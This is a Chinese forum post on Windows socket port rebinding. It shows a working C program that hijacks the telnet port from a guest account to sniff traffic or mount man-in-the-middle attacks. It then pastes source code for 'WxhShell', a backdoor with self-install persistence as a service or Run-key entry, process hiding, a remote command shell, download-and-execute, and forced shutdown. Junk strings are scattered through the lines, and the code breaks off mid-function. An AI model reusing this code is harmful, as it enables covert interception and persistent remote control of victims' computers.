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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }4//@J?:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B9,^mE#  
~1L:_Sg*  
  saddr.sin_family = AF_INET; OLC{iD#  
&ldBv_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t2BL( yB  
,|kDsR !  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4\M.6])_   
5jxQW ;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S* *oA 6  
kgi>} %  
  这意味着什么?意味着可以进行如下的攻击: De&6 9  
hr GH}CU"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 eKvV*[N a  
v <Kmq-b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TuDE@ gq(  
E&$yuW^z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Yz$3;  
$%R$ G`.KM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &<RpWAk{  
67SV~L#%O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 26vp1  
{gbn/{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j _L@U2i  
wV\gj~U;P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d5 7i)=  
<FI-zca  
  #include ma'FRt  
  #include '6y}ZE[  
  #include MY#   
  #include    B=8Iu5m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UFAL1c<V  
  int main() Xce0~\_ A  
  { >K9#3 4hP  
  WORD wVersionRequested; b` Hz$8  
  DWORD ret; O3DmNq$dz  
  WSADATA wsaData; 1K,1X(0rL8  
  BOOL val; \^7C0R-hX  
  SOCKADDR_IN saddr; OyV<u@[i  
  SOCKADDR_IN scaddr; K"j_>63)  
  int err; VA *y|Q6  
  SOCKET s; 2_vbT!_  
  SOCKET sc; |waIpB(  
  int caddsize; : G\<y  
  HANDLE mt; a<}#HfC;'  
  DWORD tid;   )9l^O  
  wVersionRequested = MAKEWORD( 2, 2 ); ,C%eBna4Iq  
  err = WSAStartup( wVersionRequested, &wsaData ); EnOU?D  
  if ( err != 0 ) { %NL^WG:  
  printf("error!WSAStartup failed!\n"); ; bHV  
  return -1; ^j-3av=  
  } EF3Cdu{]P  
  saddr.sin_family = AF_INET; $/!{OU.t`  
   Z87_#5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5p.rwNE  
7qTE('zt  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); otggN:^Qw  
  saddr.sin_port = htons(23); 2{|h8oz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L_=3<n E  
  { 3bnS W5  
  printf("error!socket failed!\n"); -'~ LjA(  
  return -1; rV08ad  
  } M%jPH  
  val = TRUE; }!IL]0 q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]Oq[gBL"A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .9Y)AtJTS  
  { y~()|L[  
  printf("error!setsockopt failed!\n"); ")=X4]D  
  return -1; k'0Pi6  
  } 6G=j6gK%P  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^%O]P`$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xhcK~5C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ZXm/A0)S  
Y ')x/H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0}_[DAd6  
  { !%$`Eq)M^7  
  ret=GetLastError(); qucq,Yw  
  printf("error!bind failed!\n"); L:@7tc.  
  return -1; +\v?d&.f0  
  } Q7W>qe%4  
  listen(s,2); dAy?EO0\7  
  while(1) Q-1vw6d  
  { )7h$G-fe  
  caddsize = sizeof(scaddr); rRFhGQq1m  
  //接受连接请求 D_vbSF)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); itC-4^  
  if(sc!=INVALID_SOCKET) Ja9e^`i;  
  { uu`G 2[t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S~|T4q(  
  if(mt==NULL) @')[FEdW  
  { "I(xgx*  
  printf("Thread Creat Failed!\n"); i':C)7  
  break; cTG|fdgMW  
  } hP15qKy  
  } W*2U="t  
  CloseHandle(mt); |P%Jw,}]9  
  } >y,-v:Vy  
  closesocket(s); %n*-VAfE\  
  WSACleanup(); aA,!<^&}  
  return 0; K.0:C`C  
  }   Hw4%uS==V  
  DWORD WINAPI ClientThread(LPVOID lpParam) M3q|l7|9  
  { x)@G;nZ  
  SOCKET ss = (SOCKET)lpParam; w!D|]LoE  
  SOCKET sc; 55z]&5N  
  unsigned char buf[4096]; 6fw(T.Pe  
  SOCKADDR_IN saddr; DY`kx2e!  
  long num; ;3@cy|\:  
  DWORD val; [sW3l:^  
  DWORD ret; |j7,Mu+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b9l;a+]d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   OLE[UXD-E  
  saddr.sin_family = AF_INET; k?,1x~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^0 -:G6H  
  saddr.sin_port = htons(23); :5{wf Am  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <[-nF"Q  
  { pS:4CNI{  
  printf("error!socket failed!\n"); 2 O%`G+\)  
  return -1; ;5)P6S.D  
  } ]?(-[  
  val = 100; dUhY\v oQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ajEjZ6  
  { @<elq'2  
  ret = GetLastError(); [C'JH//q*t  
  return -1; ?U2<  
  } 9?SZNL['V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U[ 0=L`0e  
  { #~ )IJ  
  ret = GetLastError(); GaK-t*Q  
  return -1; Ck) * &  
  } H*r)Z 90  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4GX-ma,  
  {  B\o Mn  
  printf("error!socket connect failed!\n"); }n>p4W"OM  
  closesocket(sc); H["`Mn7j2  
  closesocket(ss); MB~=f[cUnd  
  return -1; E4M@WNPx  
  } t&AFU t\c  
  while(1) VT\F]Oa#  
  { fR(d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 uc){+'[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?M\{&mlF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *=V~YF:Qb  
  num = recv(ss,buf,4096,0); # mV{#B=  
  if(num>0) *Qg_F6y  
  send(sc,buf,num,0); >LOjV0K/  
  else if(num==0) pu2 tY7J a  
  break; )mF5Vw"  
  num = recv(sc,buf,4096,0); N/MUwx;P  
  if(num>0) 8; 0A g  
  send(ss,buf,num,0); e?8HgiP-  
  else if(num==0) '/^qJ7eb  
  break; X\bOz[\  
  } ;)D];u|_  
  closesocket(ss); xHD=\,{ig  
  closesocket(sc); M`,)wi  
  return 0 ; OC BgR4I  
  } "eB$k40-  
uM_wjP  
hhCrUn"  
========================================================== EK6:~  
R#%(5-Zu#R  
下边附上一个代码,,WXhSHELL 6\g cFfo  
7$CBx/X50)  
========================================================== HTX?,C_  
Brf5dT49  
#include "stdafx.h" v|dBSX9k0  
6WXRP;!Q  
#include <stdio.h> b4[bL2J$h1  
#include <string.h> H9YW  
#include <windows.h> Nn!+,;ut  
#include <winsock2.h> W*Zkc:{eB  
#include <winsvc.h> old(i:2  
#include <urlmon.h>  : y%d  
x!5'`A!W%  
#pragma comment (lib, "Ws2_32.lib") Vl& ?U  
#pragma comment (lib, "urlmon.lib") TJK[ev};S  
*Q ?tl\E  
#define MAX_USER   100 // 最大客户端连接数 #49kjv@  
#define BUF_SOCK   200 // sock buffer _`&m\Qe>  
#define KEY_BUFF   255 // 输入 buffer 1v.c 6~  
1Q<^8N)pf  
#define REBOOT     0   // 重启 )u[emv$  
#define SHUTDOWN   1   // 关机 A kC1z73<  
a7r%X -  
#define DEF_PORT   5000 // 监听端口 ;f#v0W`5  
PQ5QA61  
#define REG_LEN     16   // 注册表键长度 _m5uDF?[  
#define SVC_LEN     80   // NT服务名长度 _Kl_61k  
Enum/O5  
// 从dll定义API %4et&zRC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZX9TYN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J;.wXS_U8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); < $J>9k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {.C!i{|  
JTSlWq4  
// wxhshell配置信息 ;z}i-cNae  
struct WSCFG { B +\3-q  
  int ws_port;         // 监听端口 o<BOYrS  
  char ws_passstr[REG_LEN]; // 口令 ?!A7rb/tj  
  int ws_autoins;       // 安装标记, 1=yes 0=no YIoQL}pX  
  char ws_regname[REG_LEN]; // 注册表键名 GpY"f c%  
  char ws_svcname[REG_LEN]; // 服务名 e7Xeo+/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6#7Lm) g8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m$}R%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Wbr|_W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !t$'AoVBq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r`W)0oxD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]zE;Tw.S  
RYQ<Zr$!  
}; #@YPic"n7`  
b=yx7v"r  
// default Wxhshell configuration ]O+Ma}dxz:  
struct WSCFG wscfg={DEF_PORT, uki#/GzaO  
    "xuhuanlingzhe", +ga k#M"n\  
    1, ,k )w6)  
    "Wxhshell", U}yW<#$+  
    "Wxhshell", LClNxm2X  
            "WxhShell Service", -]/I73!b  
    "Wrsky Windows CmdShell Service", xST8|H  
    "Please Input Your Password: ", 5D\f8L  
  1, ?pr9f5  
  "http://www.wrsky.com/wxhshell.exe", PF)jdcX  
  "Wxhshell.exe" K1mPr^3rC  
    }; XG{{ 2f  
(G zb  
// 消息定义模块 "6MVvpy"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QdT}wkX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z>58dA@f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N60rgSzI  
char *msg_ws_ext="\n\rExit."; @e(o129  
char *msg_ws_end="\n\rQuit."; +giyX7BPJ  
char *msg_ws_boot="\n\rReboot..."; nzd2zY>V  
char *msg_ws_poff="\n\rShutdown..."; Wk~W Ozr}^  
char *msg_ws_down="\n\rSave to "; 0h#l JS*  
UK595n;P  
char *msg_ws_err="\n\rErr!"; _ "?.!  
char *msg_ws_ok="\n\rOK!"; 6G1@smP  
v\KA'PmiP  
char ExeFile[MAX_PATH]; d"}k! 0m  
int nUser = 0; -G}[AkmS  
HANDLE handles[MAX_USER]; e@Fo^#ImDx  
int OsIsNt; -~s!73pDY  
Rp.Sj{<2  
SERVICE_STATUS       serviceStatus; zL$@`Eh-KP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UtPLI al  
EN$2,qf  
// 函数声明 K-bD<X  
int Install(void); *W.C7=  
int Uninstall(void); <;vbsksZeH  
int DownloadFile(char *sURL, SOCKET wsh); f,h J~  
int Boot(int flag); h].<t&  
void HideProc(void); "$#xK|t  
int GetOsVer(void); ;YA(|h<  
int Wxhshell(SOCKET wsl); |SoCRjuCPM  
void TalkWithClient(void *cs); }YB*]<]  
int CmdShell(SOCKET sock); :o|\"3  
int StartFromService(void); \w/yF4,3<w  
int StartWxhshell(LPSTR lpCmdLine); `IP/d  
+ln9c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q\^O64geD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xQ}pu2@d  
F<n3  
// 数据结构和表定义 ,F79xx9ufg  
SERVICE_TABLE_ENTRY DispatchTable[] = .Zn^Nw3  
{ l==``  
{wscfg.ws_svcname, NTServiceMain}, Z>QF#."m  
{NULL, NULL} +AR5W(&  
}; 8J:}%DaxL  
sF|5XjQ  
// 自我安装 DgUT5t1  
int Install(void) RHmgD;7`  
{ >"|B9Woc  
  char svExeFile[MAX_PATH]; %SX|o-B~.o  
  HKEY key; iX0i2ek  
  strcpy(svExeFile,ExeFile); \]</w5 Pi,  
f$+,HB  
// 如果是win9x系统,修改注册表设为自启动 9{RB{<Se!  
if(!OsIsNt) { }p}[j t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }=%oX}[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wr<j!>J6Ki  
  RegCloseKey(key); 9KDEM gCW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d:#yEC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _2h S";K  
  RegCloseKey(key); T ? $:'XJ  
  return 0; 5]NqRI^0  
    } Kf>A\l^X7  
  } C>-aIz!y  
} O[I\A[*  
else { @OV|]u  
*AG#316  
// 如果是NT以上系统,安装为系统服务 <oR a3Gi(%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k[bD\'  
if (schSCManager!=0) @JtM5qB  
{ J#w J4!  
  SC_HANDLE schService = CreateService }T; P~aG  
  ( Tu$f?  
  schSCManager, WlB  
  wscfg.ws_svcname, b<a4'M  
  wscfg.ws_svcdisp, (pY 7J  
  SERVICE_ALL_ACCESS, @Fluc,Il  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  `7 vHt`  
  SERVICE_AUTO_START, :Pvzl1  
  SERVICE_ERROR_NORMAL, ]Y%Vio  
  svExeFile, 9`1O"R/  
  NULL, .LZwuJ^;  
  NULL, ).Fpgxs  
  NULL, ySx>L uY#3  
  NULL, 8VeQ-#7M/  
  NULL isQ[ Gc!8  
  ); !B\R''J5  
  if (schService!=0) ,VCyG:dw  
  { W{5#@_pL  
  CloseServiceHandle(schService); {1IfU  
  CloseServiceHandle(schSCManager); ZX>AE3wk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S4'   
  strcat(svExeFile,wscfg.ws_svcname); T;L>;E>B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (MR_^t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zfc'=ODX  
  RegCloseKey(key); SW*"\X;  
  return 0; : ]sUpO  
    } $K]m{  
  } Z1 Bp+a3  
  CloseServiceHandle(schSCManager); MXw hxk#E  
} b6Wqr/  
} byLft 1  
b:Wm8pp?  
return 1; xCg52zkH#  
} ox(j^x]NC  
jE}33"  
// 自我卸载 &^#VN%{  
int Uninstall(void) H7d/X  
{ /DK"QV!]s  
  HKEY key; mzeY%A<0^  
bL'aB{s  
if(!OsIsNt) { Jll-`b 1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P* w9 ,  
  RegDeleteValue(key,wscfg.ws_regname); yUZb #%n  
  RegCloseKey(key); O!P H&;H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y`F3Hr c  
  RegDeleteValue(key,wscfg.ws_regname); U&Wt%U{  
  RegCloseKey(key); p^Ak1qm~e  
  return 0; r~/   
  } rf>0H^r  
} ?$*SjZt  
}  1Md  
else { ^su<uG<R  
jzDuE{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d Vj_8>  
if (schSCManager!=0) z2g3FUTX)b  
{ VKq=7^W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :pGaFWkvO  
  if (schService!=0) Ove<mFI\  
  { l|/ep:x8  
  if(DeleteService(schService)!=0) { P!H_1RwXKC  
  CloseServiceHandle(schService); *1v[kWa?  
  CloseServiceHandle(schSCManager); Y"~gw~7OD  
  return 0; ^lA=* jY(  
  } [P&7i57  
  CloseServiceHandle(schService); mS^tX i5hg  
  } KVT-P};jy*  
  CloseServiceHandle(schSCManager); A/u)# ^\  
} zG ^$"f2  
} P(H8[,  
PcA2/!a  
return 1; ,cB\  
} +z9Q-d%O  
Q4+gAS9  
// 从指定url下载文件 Y~L2  
int DownloadFile(char *sURL, SOCKET wsh) @6wFst\t  
{ yzerOL  
  HRESULT hr; *M:B\ D  
char seps[]= "/"; n/SwP  
char *token; In18_ bc  
char *file; ~yH?=:>U  
char myURL[MAX_PATH]; swM*k;$q{  
char myFILE[MAX_PATH]; q(`/Vo4g(  
rEB @$C^  
strcpy(myURL,sURL); P(+&OoY2  
  token=strtok(myURL,seps); Lv| q  
  while(token!=NULL) N"]q='t  
  { .NYbi@bk(<  
    file=token; -I&m:A$4*  
  token=strtok(NULL,seps); )%`^xR  
  } {ys=Ndo8  
{u#;?u=|  
GetCurrentDirectory(MAX_PATH,myFILE); +kzo*zW$L  
strcat(myFILE, "\\"); j@SQ~AS  
strcat(myFILE, file); $npT[~U5  
  send(wsh,myFILE,strlen(myFILE),0); 1][4.}?F[  
send(wsh,"...",3,0); !HnXXVW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nQ5n-A&["  
  if(hr==S_OK) Q36qIq_0e  
return 0; V:VO[e<e  
else m9.{[K"  
return 1; ] lrWgm  
n[G&ksQI  
} 2/"u5  
:I+Gu*0WD  
// 系统电源模块 xa<UM5eI  
int Boot(int flag) n)^i/ nXb'  
{ [8T^@YN  
  HANDLE hToken; :9QZPsL  
  TOKEN_PRIVILEGES tkp; +RyjF~  
VXR>]HUF  
  if(OsIsNt) { "#{4d),r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z^#;~I @M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KX'{[7}m'  
    tkp.PrivilegeCount = 1; *7ZN]/VRT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a1_GIM0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;<j0f~G`  
if(flag==REBOOT) { y CVI\y\B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @~YYD#'vNY  
  return 0; ;\14b?TUH  
} LUM@#3&  
else { 0{,Z{&E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) de p=&  
  return 0; (Iaf?J5{  
} `$W_R[  
  } $Zug Bh[b  
  else { Cjc6d4~  
if(flag==REBOOT) { mi,E-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P<M?Qd 1.  
  return 0; $W!!wN=B  
} gG*X^Uo  
else { ZWc]$H?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ykV 5  
  return 0; 05b_)&4R  
} A v2 08}Y  
} "1 L$|  
i} .&0Fp  
return 1; lT&eJO~?5  
} uRZZxZ  
_kU:Z  
// win9x进程隐藏模块 o<COm9)i  
void HideProc(void) 0K`#>}W#X  
{ y5?RVlKJ  
Ji>o!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n%-R[vW  
  if ( hKernel != NULL ) `(_s|-$  
  { KH(%?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2jR r,Nl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /OLFcxEWh  
    FreeLibrary(hKernel); cx&>#8s&  
  } bN]+_ mF  
'8!Y D?n  
return; g# Sl %Y  
} %s|}Fz->  
5=v}W:^v.  
// 获取操作系统版本 RS)tO0  
int GetOsVer(void) c:<005\Bg  
{ WST8SEzJ  
  OSVERSIONINFO winfo; Jk7|{W\OA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); = \'}g?  
  GetVersionEx(&winfo); n `&/ D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ==3dEJS  
  return 1; Tn*9lj4  
  else QdL`|  
  return 0; o0ifp=V y  
} ADDSCY=,  
++6`sMJ  
// 客户端句柄模块 pEBM3r!X  
int Wxhshell(SOCKET wsl) (tIo:j  
{ gy#/D& N[  
  SOCKET wsh; 3RYpJAH  
  struct sockaddr_in client; u%}nw :>  
  DWORD myID; e1%/26\  
tzZ`2pSh  
  while(nUser<MAX_USER) &O9 |#YUq  
{ H`1{_  
  int nSize=sizeof(client); W+UfGk}A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6-z%633DL  
  if(wsh==INVALID_SOCKET) return 1; xTj|dza  
OSs&r$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :Av#j@#  
if(handles[nUser]==0) ]s'Q_wh_-v  
  closesocket(wsh); yeXx',]a  
else A mNW0.}  
  nUser++; #gRM i)(F  
  } l_o@miG/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }+.}J  
Qw-~>d  
  return 0; =]6%G7T  
} +x0!*3q  
L^}_~PO N5  
// 关闭 socket iII=;:p  
void CloseIt(SOCKET wsh) )wC?T  
{ }&cu/o4  
closesocket(wsh); A#.edVj.g4  
nUser--; ZCmgs4W!  
ExitThread(0); kW;+|qs^  
} #Y*X<L  
llcb~  
// 客户端请求句柄 sDPs G5q<  
void TalkWithClient(void *cs) |TS>h wkI  
{ '[AlhBX  
w>pq+og&  
  SOCKET wsh=(SOCKET)cs; \-h%O jf4  
  char pwd[SVC_LEN]; D{GfL ib"U  
  char cmd[KEY_BUFF]; F*IzQ(#HW  
char chr[1]; >AVVEv18  
int i,j; t;W0"ci9  
\.MR""@y`{  
  while (nUser < MAX_USER) { `[f*Zv w  
L 6 c 40  
if(wscfg.ws_passstr) { > V-A;S:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (}Z@R#njH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /rWd=~[MO  
  //ZeroMemory(pwd,KEY_BUFF); 3{'Ne}5%I  
      i=0; 5rw 7;'  
  while(i<SVC_LEN) { dP3CG8w5  
Y<N5# );f  
  // 设置超时 01wX`"I  
  fd_set FdRead; mk.9OhYY  
  struct timeval TimeOut; uatm/o^~,  
  FD_ZERO(&FdRead); l4F%VR4KT  
  FD_SET(wsh,&FdRead); 2BQ j  
  TimeOut.tv_sec=8; Cn,d?H  
  TimeOut.tv_usec=0; g;pcZ9o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~xkeuU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )eUh=eW  
&XIt5<$~R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [w0QZyUn  
  pwd=chr[0]; |XQIfW]A  
  if(chr[0]==0xd || chr[0]==0xa) { 'GNK"XA^  
  pwd=0; +ieY:H[  
  break; @:+8?qcP  
  } 6n,i0W  
  i++; |:nn>E}ZA/  
    } cz >V8  
CDsSrKhx  
  // 如果是非法用户,关闭 socket Jl( &!?j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '~5LY!H(pT  
} NCiW^#b  
*Fy2BZH%Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |,S+@"0#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -.1y(k^4E  
'*K:  lx  
while(1) { }tRm]w  
2L3)#22m*  
  ZeroMemory(cmd,KEY_BUFF); Z"/p,A9W9|  
uZNTHD  
      // 自动支持客户端 telnet标准   `g(Y*uCp  
  j=0; U;YC}r  
  while(j<KEY_BUFF) { [$mHv,~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =$u! 59_dE  
  cmd[j]=chr[0]; <CS(c|7  
  if(chr[0]==0xa || chr[0]==0xd) { l{5IUuUi  
  cmd[j]=0; "sS}N%!  
  break; 1Ir21un  
  } k Z?=AXu  
  j++; F^WP<0C  
    } abuh`H#  
fY{1F   
  // 下载文件 9Vg?{v!yn  
  if(strstr(cmd,"http://")) { ;y,5k?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3k\#CiB{  
  if(DownloadFile(cmd,wsh)) g2BHHL;`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F}F&T  
  else Lf16j*}-Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xnt~]k\"  
  } =#;3Q~:Jl^  
  else { \K5DOM "#  
nL5cK:  
    switch(cmd[0]) { C uFSeRe  
  UbXh,QEG*  
  // 帮助 {&cJDqz5=  
  case '?': { | z9*GY6RU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZGBd%RWjG_  
    break; /kE6@  
  } Q 8T]\6)m  
  // 安装 V\>K]mwD  
  case 'i': { 1ct;A_48  
    if(Install()) Jb0`42  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %P<hW+P!  
    else _t iujP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :y+2*lV  
    break; ]s]vZ  
    } RmI]1S_=  
  // 卸载 <lgYcdJ   
  case 'r': { u8'Zl8 g  
    if(Uninstall()) xqeyD*s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 02f~En}>6  
    else 4QH3fTv   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !02`t4Zc-  
    break; ~Y`ldL  
    } ,`|3KE9  
  // 显示 wxhshell 所在路径 lsJSYJG&  
  case 'p': { LzG%Z1`  
    char svExeFile[MAX_PATH]; Z~AO0zUKY  
    strcpy(svExeFile,"\n\r"); AS!?q  
      strcat(svExeFile,ExeFile); n4s+>|\M  
        send(wsh,svExeFile,strlen(svExeFile),0); ./- 5R|fN  
    break; Q! o'}nA  
    } -C;^ 3R[ O  
  // 重启 m!gz3u]rN  
  case 'b': { wVX[)E\J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9{'N{  
    if(Boot(REBOOT)) aAZZ8V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }{,^@xdyW  
    else { FTX=Wyr  
    closesocket(wsh); &4{KV.  
    ExitThread(0); :nh_k4S@v  
    } RU'=ERYC  
    break; ?5+.`L9H  
    } K`yRr`pW  
  // 关机 +Jlay1U&  
  case 'd': { AV:h BoO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p09HL%~R  
    if(Boot(SHUTDOWN)) 3r<~Q7e  
